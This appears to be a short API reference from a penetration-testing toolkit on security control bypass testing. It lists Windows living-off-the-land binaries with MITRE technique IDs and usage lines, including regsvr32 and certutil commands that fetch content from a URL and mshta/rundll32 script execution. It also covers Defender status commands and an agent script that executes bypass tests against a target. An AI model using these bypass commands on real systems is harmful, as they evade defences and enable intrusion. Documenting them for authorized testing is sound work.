<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->

# API Reference — Performing Security Control Bypass Testing

## LOLBAS (Living Off the Land Binaries)

| Binary | Technique | Usage |
|---|---|---|
| `MSBuild.exe` | T1127.001 | `MSBuild.exe payload.xml` |
| `Regsvr32.exe` | T1218.010 | `regsvr32 /s /n /u /i:<url> scrobj.dll` |
| `Rundll32.exe` | T1218.011 | `rundll32.exe javascript:"..."` |
| `Certutil.exe` | T1140 | `certutil -urlcache -split -f <url>` |
| `Mshta.exe` | T1218.005 | `mshta vbscript:Execute(...)` |
| `InstallUtil.exe` | T1218.004 | `InstallUtil.exe /U payload.dll` |

## Windows Defender PowerShell

| Command | Description |
|---|---|
| `Get-MpComputerStatus` | Check Defender status |
| `Get-MpThreatDetection` | List recent detections |
| `Get-AppLockerPolicy -Effective` | Check AppLocker policy |

## Agent Script

```bash
# Enumerate controls
node agent.js enumerate-controls --target 192.168.1.100 \
  --output controls.json

# Plan bypass tests
node agent.js plan-bypass --controls controls.json --output plan.yaml

# Execute bypass tests
node agent.js execute-bypass --plan plan.yaml --output results.json

# Generate report
node agent.js bypass-report --results results.json --output report.json
```
